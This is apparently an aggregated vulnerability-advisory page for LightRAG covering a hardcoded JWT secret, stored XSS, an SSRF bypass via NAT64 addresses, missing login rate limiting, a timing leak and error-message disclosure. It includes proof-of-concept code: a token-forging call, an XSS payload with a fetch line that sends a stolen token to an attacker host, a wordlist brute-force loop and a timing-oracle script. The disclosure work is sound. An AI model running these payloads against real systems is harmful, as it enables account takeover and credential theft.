Subject: Security Vulnerability Report Hardcoded JWT Secret (CVE-2026-30762)

Hi HKUDS team,

I'm writing to report a security vulnerability I discovered in LightRAG v1.4.10. This has been assigned CVE-2026-30762 by MITRE.

Vulnerability: Hardcoded JWT signing secret Type: Improper Authentication (CWE-287) Severity: High Attack Vector: Remote / Unauthenticated

Summary: The file lightrag/api/config.py (line 397) uses a default JWT secret "lightrag-jwt-default-secret" when the TOKEN_SECRET environment variable is not set. The AuthHandler in lightrag/api/auth.py (lines 24-25) uses this secret to sign and verify tokens. An unauthenticated attacker can forge valid JWT tokens using the publicly known default secret and gain access to any protected endpoint.

Reproduction:

Install LightRAG v1.4.10 with AUTH_ACCOUNTS configured but no TOKEN_SECRET set
Use PyJWT to sign a token: jwt.encode({"sub": "admin", "role": "user"}, "lightrag-jwt-default-secret", algorithm="HS256")
Send a request to any protected endpoint with the header: Authorization: Bearer <forged_token>
Access is granted without valid credentials

Suggested Fix: Require TOKEN_SECRET to be explicitly set when AUTH_ACCOUNTS is configured. Refuse to start the API server if authentication is enabled but no custom secret is provided.

I'm following a 90-day responsible disclosure timeline from today's date. Please let me know if you have any questions or need additional information.

Best regards, Venkata Avinash Taduturi

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 64 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.13

References

Updated Jul 13, 2026 · Source: OSV.dev

Sep 16, 2025

1.4.8.1 patch

9 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


